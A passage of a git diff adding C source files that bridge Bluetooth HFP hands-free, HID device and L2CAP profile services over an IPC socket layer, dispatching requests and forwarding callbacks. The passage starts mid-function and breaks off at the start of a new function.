bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.hfp_hf_cb._on_subscriber_number_cb.addr, addr, sizeof(bt_address_t)); + + if (number) { + strlcpy(packet.hfp_hf_cb._on_subscriber_number_cb.number, number, sizeof(packet.hfp_hf_cb._on_subscriber_number_cb.number)); + } + + packet.hfp_hf_cb._on_subscriber_number_cb.service = service; + + bt_socket_server_send(ins, &packet, BT_HFP_HF_ON_SUBSCRIBER_NUMBER_RECEIVED); +} + +static void on_query_current_calls_cb(void* cookie, bt_address_t* addr, uint8_t num, hfp_current_call_t* calls) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + if (num > HFP_CALL_LIST_MAX) { + BT_LOGW("%s: too many calls (%d), truncate", __func__, num); + num = HFP_CALL_LIST_MAX; + } + + memcpy(&packet.hfp_hf_cb._on_current_calls_cb.addr, addr, sizeof(bt_address_t)); + memcpy(&packet.hfp_hf_cb._on_current_calls_cb.calls, calls, sizeof(hfp_current_call_t) * num); + packet.hfp_hf_cb._on_current_calls_cb.num = num; + + bt_socket_server_send(ins, &packet, BT_HFP_HF_ON_CURRENT_CALLS); +} + +const static hfp_hf_callbacks_t g_hfp_hf_socket_cbs = { + .connection_state_cb = on_connection_state_changed_cb, + .audio_state_cb = on_audio_state_changed_cb, + .vr_cmd_cb = on_voice_recognition_command_cb, + .call_state_changed_cb = on_call_state_changed_cb, + .cmd_complete_cb = on_at_cmd_complete_cb, + .ring_indication_cb = on_ring_indication_cb, + .volume_changed_cb = on_volume_changed_cb, + .call_cb = on_call_cb, + .callsetup_cb = on_callsetup_cb, + .callheld_cb = on_callheld_cb, + .clip_cb = on_clip_cb, + .subscriber_number_cb = on_subscriber_number_cb, + .query_current_calls_cb = on_query_current_calls_cb, +}; + +static bool bt_socket_allocator(void** data, uint32_t size) +{ + *data = zalloc(size); + if (!(*data)) + return false; + + return true; +} + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +void bt_socket_server_hfp_hf_process(service_poll_t* poll, int fd, + bt_instance_t* ins, bt_message_packet_t* packet) +{ + hfp_hf_interface_t* profile; + + switch (packet->code) { + case BT_HFP_HF_REGISTER_CALLBACK: + if (ins->hfp_hf_cookie == NULL) { + profile = (hfp_hf_interface_t*)service_manager_get_profile(PROFILE_HFP_HF); + if (profile) { + ins->hfp_hf_cookie = profile->register_callbacks((void*)ins, (void*)&g_hfp_hf_socket_cbs); + if (ins->hfp_hf_cookie) + packet->hfp_hf_r.status = BT_STATUS_SUCCESS; + else + packet->hfp_hf_r.status = BT_STATUS_NO_RESOURCES; + } else { + packet->hfp_hf_r.status = BT_STATUS_SERVICE_NOT_FOUND; + } + } else { + packet->hfp_hf_r.status = BT_STATUS_BUSY; + } + break; + case BT_HFP_HF_UNREGISTER_CALLBACK: + if (ins->hfp_hf_cookie) { + profile = (hfp_hf_interface_t*)service_manager_get_profile(PROFILE_HFP_HF); + if (profile) + profile->unregister_callbacks((void**)&ins, ins->hfp_hf_cookie); + ins->hfp_hf_cookie = NULL; + packet->hfp_hf_r.status = BT_STATUS_SUCCESS; + } else { + packet->hfp_hf_r.status = BT_STATUS_NOT_FOUND; + } + break; + case BT_HFP_HF_IS_CONNECTED: + packet->hfp_hf_r.value_bool = BTSYMBOLS(bt_hfp_hf_is_connected)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_is_connected.addr); + break; + case BT_HFP_HF_IS_AUDIO_CONNECTED: + packet->hfp_hf_r.value_bool = BTSYMBOLS(bt_hfp_hf_is_audio_connected)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_is_audio_connected.addr); + break; + case BT_HFP_HF_GET_CONNECTION_STATE: + packet->hfp_hf_r.profile_conn_state = BTSYMBOLS(bt_hfp_hf_get_connection_state)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_get_connection_state.addr); + break; + case BT_HFP_HF_CONNECT: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_connect)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_connect.addr); + break; + case BT_HFP_HF_DISCONNECT: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_disconnect)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_disconnect.addr); + break; + case BT_HFP_HF_SET_CONNECTION_POLICY: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_set_connection_policy)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_set_connection_policy.addr, packet->hfp_hf_pl._bt_hfp_hf_set_connection_policy.policy); + break; + case BT_HFP_HF_CONNECT_AUDIO: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_connect_audio)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_connect_audio.addr); + break; + case BT_HFP_HF_DISCONNECT_AUDIO: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_disconnect_audio)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_disconnect_audio.addr); + break; + case BT_HFP_HF_START_VOICE_RECOGNITION: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_start_voice_recognition)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_start_voice_recognition.addr); + break; + case BT_HFP_HF_STOP_VOICE_RECOGNITION: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_stop_voice_recognition)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_stop_voice_recognition.addr); + break; + case BT_HFP_HF_DIAL: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_dial)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_dial.addr, + (const char*)&packet->hfp_hf_pl._bt_hfp_hf_dial.number); + break; + case BT_HFP_HF_DIAL_MEMORY: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_dial_memory)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_dial_memory.addr, + packet->hfp_hf_pl._bt_hfp_hf_dial_memory.memory); + break; + case BT_HFP_HF_REDIAL: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_redial)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_redial.addr); + break; + case BT_HFP_HF_ACCEPT_CALL: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_accept_call)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_accept_call.addr, + packet->hfp_hf_pl._bt_hfp_hf_accept_call.flag); + break; + case BT_HFP_HF_REJECT_CALL: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_reject_call)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_reject_call.addr); + break; + case BT_HFP_HF_HOLD_CALL: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_hold_call)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_hold_call.addr); + break; + case BT_HFP_HF_TERMINATE_CALL: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_terminate_call)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_terminate_call.addr); + break; + case BT_HFP_HF_CONTROL_CALL: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_control_call)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_control_call.addr, + packet->hfp_hf_pl._bt_hfp_hf_control_call.chld, + packet->hfp_hf_pl._bt_hfp_hf_control_call.index); + break; + case BT_HFP_HF_QUERY_CURRENT_CALLS: { + hfp_current_call_t* calls = NULL; + int num = 0; + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_query_current_calls)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_query_current_calls.addr, + &calls, &num, (bt_allocator_t)bt_socket_allocator); + packet->hfp_hf_pl._bt_hfp_hf_query_current_calls.num = num; + memcpy(packet->hfp_hf_pl._bt_hfp_hf_query_current_calls.calls, calls, + sizeof(hfp_current_call_t) * MIN(num, HFP_CALL_LIST_MAX)); + if (calls) + free(calls); + + break; + } + case BT_HFP_HF_QUERY_CURRENT_CALLS_WITH_CALLBACK: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_query_current_calls_with_callback)(ins, &packet->hfp_hf_pl._bt_hfp_hf_query_current_calls_with_callback.addr); + break; + case BT_HFP_HF_SEND_AT_CMD: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_send_at_cmd)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_send_at_cmd.addr, + (const char*)&packet->hfp_hf_pl._bt_hfp_hf_send_at_cmd.cmd); + break; + case BT_HFP_HF_UPDATE_BATTERY_LEVEL: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_update_battery_level)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_update_battery_level.addr, + packet->hfp_hf_pl._bt_hfp_hf_update_battery_level.level); + break; + case BT_HFP_HF_SEND_DTMF: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_send_dtmf)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_send_dtmf.addr, + packet->hfp_hf_pl._bt_hfp_hf_send_dtmf.dtmf); + break; + default: + switch (BT_IPC_GET_SUBCODE(packet->code)) { + case HFP_HF_SUBCODE_GET_SUBSCRIBER_NUMBER: + packet->hfp_hf_r.status = BTSYMBOLS(bt_hfp_hf_get_subscriber_number)(ins, + &packet->hfp_hf_pl._bt_hfp_hf_get_subscriber_number.addr); + break; + default: + break; + } + } +} +#endif + +int bt_socket_client_hfp_hf_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async) +{ + bt_socket_async_client_t* __async = NULL; + + if (is_async) + __async = ins->priv; + + switch (packet->code) { + case BT_HFP_HF_ON_CONNECTION_STATE_CHANGED: + CALLBACK_FOREACH(CBLIST, hfp_hf_callbacks_t, + connection_state_cb, + &packet->hfp_hf_cb._on_connection_state_changed.addr, + packet->hfp_hf_cb._on_connection_state_changed.state); + break; + case BT_HFP_HF_ON_AUDIO_STATE_CHANGED: + CALLBACK_FOREACH(CBLIST, hfp_hf_callbacks_t, + audio_state_cb, + &packet->hfp_hf_cb._on_audio_state_changed.addr, + packet->hfp_hf_cb._on_audio_state_changed.state); + break; + case BT_HFP_HF_ON_VOICE_RECOGNITION_STATE_CHANGED: + CALLBACK_FOREACH(CBLIST, hfp_hf_callbacks_t, + vr_cmd_cb, + &packet->hfp_hf_cb._on_voice_recognition_state_changed.addr, + packet->hfp_hf_cb._on_voice_recognition_state_changed.started); + break; + case BT_HFP_HF_ON_CALL_STATE_CHANGED: + CALLBACK_FOREACH(CBLIST, hfp_hf_callbacks_t, + call_state_changed_cb, + &packet->hfp_hf_cb._on_call_state_changed_cb.addr, + &packet->hfp_hf_cb._on_call_state_changed_cb.call); + break; + case BT_HFP_HF_ON_AT_CMD_COMPLETE: + CALLBACK_FOREACH(CBLIST, hfp_hf_callbacks_t, + cmd_complete_cb, + &packet->hfp_hf_cb._on_at_cmd_complete_cb.addr, + packet->hfp_hf_cb._on_at_cmd_complete_cb.resp); + break; + case BT_HFP_HF_ON_RING_INDICATION: + CALLBACK_FOREACH(CBLIST, hfp_hf_callbacks_t, + ring_indication_cb, + &packet->hfp_hf_cb._on_ring_indication_cb.addr, + packet->hfp_hf_cb._on_ring_indication_cb.inband_ring_tone); + break; + case BT_HFP_HF_ON_VOLUME_CHANGED: + CALLBACK_FOREACH(CBLIST, hfp_hf_callbacks_t, + volume_changed_cb, + &packet->hfp_hf_cb._on_volume_changed_cb.addr, + packet->hfp_hf_cb._on_volume_changed_cb.type, + packet->hfp_hf_cb._on_volume_changed_cb.volume); + break; + case BT_HFP_HF_ON_CALL_IND_RECEIVED: + CALLBACK_FOREACH(CBLIST, hfp_hf_callbacks_t, + call_cb, + &packet->hfp_hf_cb._on_call_cb.addr, + packet->hfp_hf_cb._on_call_cb.value); + break; + case BT_HFP_HF_ON_CALLSETUP_IND_RECEIVED: + CALLBACK_FOREACH(CBLIST, hfp_hf_callbacks_t, + callsetup_cb, + &packet->hfp_hf_cb._on_callsetup_cb.addr, + packet->hfp_hf_cb._on_callsetup_cb.value); + break; + case BT_HFP_HF_ON_CALLHELD_IND_RECEIVED: + CALLBACK_FOREACH(CBLIST, hfp_hf_callbacks_t, + callheld_cb, + &packet->hfp_hf_cb._on_callheld_cb.addr, + packet->hfp_hf_cb._on_callheld_cb.value); + break; + default: + switch (BT_IPC_GET_SUBCODE(packet->code)) { + case HFP_HF_SUBCODE_ON_CLIP_RECEIVED: + CALLBACK_FOREACH(CBLIST, hfp_hf_callbacks_t, + clip_cb, + &packet->hfp_hf_cb._on_clip_cb.addr, + packet->hfp_hf_cb._on_clip_cb.number, + packet->hfp_hf_cb._on_clip_cb.name); + break; + case HFP_HF_SUBCODE_ON_SUBSCRIBER_NUMBER_RECEIVED: + CALLBACK_FOREACH(CBLIST, hfp_hf_callbacks_t, + subscriber_number_cb, + &packet->hfp_hf_cb._on_at_cmd_complete_cb.addr, + packet->hfp_hf_cb._on_subscriber_number_cb.number, + packet->hfp_hf_cb._on_subscriber_number_cb.service); + break; + case HFP_HF_SUBCODE_ON_CURRENT_CALLS_FINISHED: + CALLBACK_FOREACH(CBLIST, hfp_hf_callbacks_t, + query_current_calls_cb, + &packet->hfp_hf_cb._on_current_calls_cb.addr, + packet->hfp_hf_cb._on_current_calls_cb.num, + packet->hfp_hf_cb._on_current_calls_cb.calls); + break; + default: + return BT_STATUS_PARM_INVALID; + } + } + + return BT_STATUS_SUCCESS; +} diff --git a/service/ipc/socket/src/bt_socket_hid_device.c b/service/ipc/socket/src/bt_socket_hid_device.c new file mode 100644 index 0000000000000000000000000000000000000000..e6f13a6159d68ac78190628123c80925ad7bc027 --- /dev/null +++ b/service/ipc/socket/src/bt_socket_hid_device.c @@ -0,0 +1,297 @@ + +/**************************************************************************** + * service/ipc/socket/src/bt_socket_hid_device.c + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the License. + * + ****************************************************************************/ +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#include "bt_internal.h" + +#include "bluetooth.h" +#include "bt_hid_device.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "callbacks_list.h" +#include "manager_service.h" +#include "service_loop.h" +#include "utils/log.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#define CALLBACK_FOREACH(_list, _struct, _cback, ...) \ + BT_CALLBACK_FOREACH(_list, _struct, _cback, ##__VA_ARGS__) +#define CBLIST (__async ? __async->hidd_callbacks : ins->hidd_callbacks) + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +/**************************************************************************** + * Private Functions + ****************************************************************************/ +#if defined(CONFIG_BLUETOOTH_SERVER) && defined(__NuttX__) +#include "hid_device_service.h" +#include "service_manager.h" + +static void on_app_state_changed_cb(void* cookie, hid_app_state_t state) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + packet.hidd_cb._app_state.state = state; + bt_socket_server_send(ins, &packet, BT_HID_DEVICE_APP_STATE); +} +static void on_connection_state_changed_cb(void* cookie, bt_address_t* addr, bool le_hid, + profile_connection_state_t state) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + memcpy(&packet.hidd_cb._connection_state.addr, addr, sizeof(bt_address_t)); + packet.hidd_cb._connection_state.le_hid = le_hid; + packet.hidd_cb._connection_state.state = state; + bt_socket_server_send(ins, &packet, BT_HID_DEVICE_CONNECTION_STATE); +} +static void on_get_report_cb(void* cookie, bt_address_t* addr, uint8_t rpt_type, + uint8_t rpt_id, uint16_t buffer_size) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + memcpy(&packet.hidd_cb._on_get_report.addr, addr, sizeof(bt_address_t)); + packet.hidd_cb._on_get_report.rpt_type = rpt_type; + packet.hidd_cb._on_get_report.rpt_id = rpt_id; + packet.hidd_cb._on_get_report.buffer_size = buffer_size; + bt_socket_server_send(ins, &packet, BT_HID_DEVICE_ON_GET_REPORT); +} +static void on_set_report_cb(void* cookie, bt_address_t* addr, uint8_t rpt_type, + uint16_t rpt_size, uint8_t* rpt_data) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + if (rpt_size > sizeof(packet.hidd_cb._on_set_report.rpt_data)) { + BT_LOGW("exceeds hidd maximum report size :%d", rpt_size); + rpt_size = sizeof(packet.hidd_cb._on_set_report.rpt_data); + } + + memcpy(&packet.hidd_cb._on_set_report.addr, addr, sizeof(bt_address_t)); + packet.hidd_cb._on_set_report.rpt_type = rpt_type; + packet.hidd_cb._on_set_report.rpt_size = rpt_size; + memcpy(packet.hidd_cb._on_set_report.rpt_data, rpt_data, rpt_size); + bt_socket_server_send(ins, &packet, BT_HID_DEVICE_ON_SET_REPORT); +} +static void on_receive_report_cb(void* cookie, bt_address_t* addr, uint8_t rpt_type, + uint16_t rpt_size, uint8_t* rpt_data) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + if (rpt_size > sizeof(packet.hidd_cb._on_receive_report.rpt_data)) { + BT_LOGW("exceeds hidd maximum report size :%d", rpt_size); + rpt_size = sizeof(packet.hidd_cb._on_receive_report.rpt_data); + } + + memcpy(&packet.hidd_cb._on_receive_report.addr, addr, sizeof(bt_address_t)); + packet.hidd_cb._on_receive_report.rpt_type = rpt_type; + packet.hidd_cb._on_receive_report.rpt_size = rpt_size; + memcpy(packet.hidd_cb._on_receive_report.rpt_data, rpt_data, rpt_size); + bt_socket_server_send(ins, &packet, BT_HID_DEVICE_ON_RECEIVE_REPORT); +} +static void on_virtual_unplug_cb(void* cookie, bt_address_t* addr) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + memcpy(&packet.hidd_cb._on_virtual_unplug.addr, addr, sizeof(bt_address_t)); + bt_socket_server_send(ins, &packet, BT_HID_DEVICE_ON_VIRTUAL_UNPLUG); +} +const static hid_device_callbacks_t g_hid_device_socket_cbs = { + .app_state_cb = on_app_state_changed_cb, + .connection_state_cb = on_connection_state_changed_cb, + .get_report_cb = on_get_report_cb, + .set_report_cb = on_set_report_cb, + .receive_report_cb = on_receive_report_cb, + .virtual_unplug_cb = on_virtual_unplug_cb, +}; + +static void parse_and_copy_sdp(char* sdp_data, hid_device_sdp_settings_t* sdp_setting) +{ + uint32_t data_offset = 0; + uint32_t info_len = offsetof(hid_info_t, dsc_list); + + sdp_setting->name = sdp_data; + data_offset = (strlen(sdp_setting->name) + 1); + sdp_data += data_offset; + + sdp_setting->description = sdp_data; + data_offset = (strlen(sdp_setting->description) + 1); + sdp_data += data_offset; + + sdp_setting->provider = sdp_data; + data_offset = (strlen(sdp_setting->provider) + 1); + sdp_data += data_offset; + + memcpy(&sdp_setting->hids_info, sdp_data, info_len); + sdp_data += info_len; + + sdp_setting->hids_info.dsc_list = (uint8_t*)sdp_data; +} + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +void bt_socket_server_hid_device_process(service_poll_t* poll, int fd, + bt_instance_t* ins, bt_message_packet_t* packet) +{ + hid_device_interface_t* profile; + hid_device_sdp_settings_t temp_sdp_setting; + + switch (packet->code) { + case BT_HID_DEVICE_REGISTER_CALLBACK: + if (ins->hidd_cookie == NULL) { + profile = (hid_device_interface_t*)service_manager_get_profile(PROFILE_HID_DEV); + ins->hidd_cookie = profile->register_callbacks((void*)ins, (void*)&g_hid_device_socket_cbs); + if (ins->hidd_cookie) + packet->hidd_r.status = BT_STATUS_SUCCESS; + else + packet->hidd_r.status = BT_STATUS_NO_RESOURCES; + } else { + packet->hidd_r.status = BT_STATUS_BUSY; + } + break; + case BT_HID_DEVICE_UNREGISTER_CALLBACK: + if (ins->hidd_cookie) { + profile = (hid_device_interface_t*)service_manager_get_profile(PROFILE_HID_DEV); + profile->unregister_callbacks((void**)&ins, ins->hidd_cookie); + ins->hidd_cookie = NULL; + packet->hidd_r.status = BT_STATUS_SUCCESS; + } else { + packet->hidd_r.status = BT_STATUS_NOT_FOUND; + } + break; + case BT_HID_DEVICE_REGISTER_APP: + parse_and_copy_sdp((char*)packet->hidd_pl._bt_hid_device_register_app.sdp, &temp_sdp_setting); + packet->hidd_r.status = BTSYMBOLS(bt_hid_device_register_app)(ins, + &temp_sdp_setting, + packet->hidd_pl._bt_hid_device_register_app.le_hid); + break; + case BT_HID_DEVICE_UNREGISTER_APP: + packet->hidd_r.status = BTSYMBOLS(bt_hid_device_unregister_app)(ins); + break; + case BT_HID_DEVICE_CONNECT: + packet->hidd_r.status = BTSYMBOLS(bt_hid_device_connect)(ins, + &packet->hidd_pl._bt_hid_device_connect.addr); + break; + case BT_HID_DEVICE_DISCONNECT: + packet->hidd_r.status = BTSYMBOLS(bt_hid_device_disconnect)(ins, + &packet->hidd_pl._bt_hid_device_disconnect.addr); + break; + case BT_HID_DEVICE_SEND_REPORT: + packet->hidd_r.status = BTSYMBOLS(bt_hid_device_send_report)(ins, + &packet->hidd_pl._bt_hid_device_send_report.addr, + packet->hidd_pl._bt_hid_device_send_report.rpt_id, + packet->hidd_pl._bt_hid_device_send_report.rpt_data, + packet->hidd_pl._bt_hid_device_send_report.rpt_size); + break; + case BT_HID_DEVICE_RESPONSE_REPORT: + packet->hidd_r.status = BTSYMBOLS(bt_hid_device_response_report)(ins, + &packet->hidd_pl._bt_hid_device_response_report.addr, + packet->hidd_pl._bt_hid_device_response_report.rpt_type, + packet->hidd_pl._bt_hid_device_response_report.rpt_data, + packet->hidd_pl._bt_hid_device_response_report.rpt_size); + break; + case BT_HID_DEVICE_REPORT_ERROR: + packet->hidd_r.status = BTSYMBOLS(bt_hid_device_report_error)(ins, + &packet->hidd_pl._bt_hid_device_report_error.addr, + packet->hidd_pl._bt_hid_device_report_error.error); + break; + case BT_HID_DEVICE_VIRTUAL_UNPLUG: + packet->hidd_r.status = BTSYMBOLS(bt_hid_device_virtual_unplug)(ins, + &packet->hidd_pl._bt_hid_device_virtual_unplug.addr); + break; + default: + break; + } +} +#endif + +int bt_socket_client_hid_device_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async) +{ + bt_socket_async_client_t* __async = NULL; + + if (is_async) + __async = ins->priv; + + switch (packet->code) { + case BT_HID_DEVICE_APP_STATE: + CALLBACK_FOREACH(CBLIST, hid_device_callbacks_t, + app_state_cb, + packet->hidd_cb._app_state.state); + break; + case BT_HID_DEVICE_CONNECTION_STATE: + CALLBACK_FOREACH(CBLIST, hid_device_callbacks_t, + connection_state_cb, + &packet->hidd_cb._connection_state.addr, + packet->hidd_cb._connection_state.le_hid, + packet->hidd_cb._connection_state.state); + break; + case BT_HID_DEVICE_ON_GET_REPORT: + CALLBACK_FOREACH(CBLIST, hid_device_callbacks_t, + get_report_cb, + &packet->hidd_cb._on_get_report.addr, + packet->hidd_cb._on_get_report.rpt_type, + packet->hidd_cb._on_get_report.rpt_id, + packet->hidd_cb._on_get_report.buffer_size); + break; + case BT_HID_DEVICE_ON_SET_REPORT: + CALLBACK_FOREACH(CBLIST, hid_device_callbacks_t, + set_report_cb, + &packet->hidd_cb._on_set_report.addr, + packet->hidd_cb._on_set_report.rpt_type, + packet->hidd_cb._on_set_report.rpt_size, + packet->hidd_cb._on_set_report.rpt_data); + break; + case BT_HID_DEVICE_ON_RECEIVE_REPORT: + CALLBACK_FOREACH(CBLIST, hid_device_callbacks_t, + receive_report_cb, + &packet->hidd_cb._on_receive_report.addr, + packet->hidd_cb._on_receive_report.rpt_type, + packet->hidd_cb._on_receive_report.rpt_size, + packet->hidd_cb._on_receive_report.rpt_data); + break; + case BT_HID_DEVICE_ON_VIRTUAL_UNPLUG: + CALLBACK_FOREACH(CBLIST, hid_device_callbacks_t, + virtual_unplug_cb, + &packet->hidd_cb._on_virtual_unplug.addr); + break; + default: + return BT_STATUS_PARM_INVALID; + } + return BT_STATUS_SUCCESS; +} diff --git a/service/ipc/socket/src/bt_socket_l2cap.c b/service/ipc/socket/src/bt_socket_l2cap.c new file mode 100644 index 0000000000000000000000000000000000000000..37b9769126869a5c8b6389cbd41093c3ea793833 --- /dev/null +++ b/service/ipc/socket/src/bt_socket_l2cap.c @@ -0,0 +1,186 @@ + +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#include "bt_internal.h" + +#include "bluetooth.h" +#include "bt_config.h" +#include "bt_l2cap.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "callbacks_list.h" +#include "l2cap_service.h" +#include "manager_service.h" +#include "service_loop.h" +#include "utils/log.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#define CALLBACK_FOREACH(_list, _struct, _cback, ...) \ + BT_CALLBACK_FOREACH(_list, _struct, _cback, ##__VA_ARGS__) +#define CBLIST (__async ? __async->l2cap_callbacks : ins->l2cap_callbacks) + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +/**************************************************************************** + * Private Functions + ****************************************************************************/ +#if defined(CONFIG_BLUETOOTH_SERVER) && defined(__NuttX__) +#include "l2cap_service.h" +#include "service_manager.h" + +static void on_connected_cb(void* cookie, l2cap_connect_params_t* param) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + memcpy(&packet.l2cap_cb._connected_cb.addr, ¶m->addr, sizeof(packet.l2cap_cb._connected_cb.addr)); + packet.l2cap_cb._connected_cb.transport = param->transport; + packet.l2cap_cb._connected_cb.cid = param->cid; + packet.l2cap_cb._connected_cb.psm = param->psm; + packet.l2cap_cb._connected_cb.incoming_mtu = param->incoming_mtu; + packet.l2cap_cb._connected_cb.outgoing_mtu = param->outgoing_mtu; + packet.l2cap_cb._connected_cb.id = param->id; + packet.l2cap_cb._connected_cb.listen_id = param->listen_id; + strlcpy(packet.l2cap_cb._connected_cb.proxy_name, param->proxy_name, sizeof(packet.l2cap_cb._connected_cb.proxy_name)); + bt_socket_server_send(ins, &packet, BT_L2CAP_CONNECTED_CB); +} + +static void on_disconnected_cb(void* cookie, bt_address_t* addr, uint16_t id, uint32_t reason) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + memcpy(&packet.l2cap_cb._disconnected_cb.addr, addr, sizeof(packet.l2cap_cb._disconnected_cb.addr)); + packet.l2cap_cb._disconnected_cb.id = id; + packet.l2cap_cb._disconnected_cb.reason = reason; + bt_socket_server_send(ins, &packet, BT_L2CAP_DISCONNECTED_CB); +} + +const static l2cap_callbacks_t g_l2cap_socket_cbs = { + .on_connected = on_connected_cb, + .on_disconnected = on_disconnected_cb, +}; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +void bt_socket_server_l2cap_process(service_poll_t* poll, int fd, + bt_instance_t* ins, bt_message_packet_t* packet) +{ + switch (packet->code) { + case BT_L2CAP_REGISTER_CALLBACKS: + if (ins->l2cap_cookie == NULL) { + ins->l2cap_cookie = l2cap_register_callbacks((void*)ins, (void*)&g_l2cap_socket_cbs); + if (ins->l2cap_cookie) + packet->l2cap_r.status = BT_STATUS_SUCCESS; + else + packet->l2cap_r.status = BT_STATUS_NO_RESOURCES; + } else { + packet->l2cap_r.status = BT_STATUS_BUSY; + } + break; + case BT_L2CAP_UNREGISTER_CALLBACKS: + if (ins->l2cap_cookie) { + l2cap_unregister_callbacks((void**)&ins, ins->l2cap_cookie); + ins->l2cap_cookie = NULL; + packet->l2cap_r.status = BT_STATUS_SUCCESS; + } else { + packet->l2cap_r.status = BT_STATUS_NOT_FOUND; + } + break; + case BT_L2CAP_LISTEN: + packet->l2cap_r.status = BTSYMBOLS(bt_l2cap_listen)(ins, ins->l2cap_cookie, + &packet->l2cap_pl._bt_l2cap_listen.option); + break; + case BT_L2CAP_CONNECT: + packet->l2cap_r.status = BTSYMBOLS(bt_l2cap_connect)(ins, ins->l2cap_cookie, + &packet->l2cap_pl._bt_l2cap_connect.addr, + &packet->l2cap_pl._bt_l2cap_connect.option); + break; + case BT_L2CAP_DISCONNECT: + packet->l2cap_r.status = BTSYMBOLS(bt_l2cap_disconnect)(ins, ins->l2cap_cookie, + packet->l2cap_pl._bt_l2cap_disconnect.id); + break; + default: + switch (BT_IPC_GET_SUBCODE(packet->code)) { + case L2CAP_SUBCODE_STOP_LISTEN: + packet->l2cap_r.status = BTSYMBOLS(bt_l2cap_stop_listen_with_transport)(ins, + ins->l2cap_cookie, + packet->l2cap_pl._bt_l2cap_stop_listen.transport, + packet->l2cap_pl._bt_l2cap_stop_listen.psm); + break; + default: + break; + } + } +} +#endif + +int 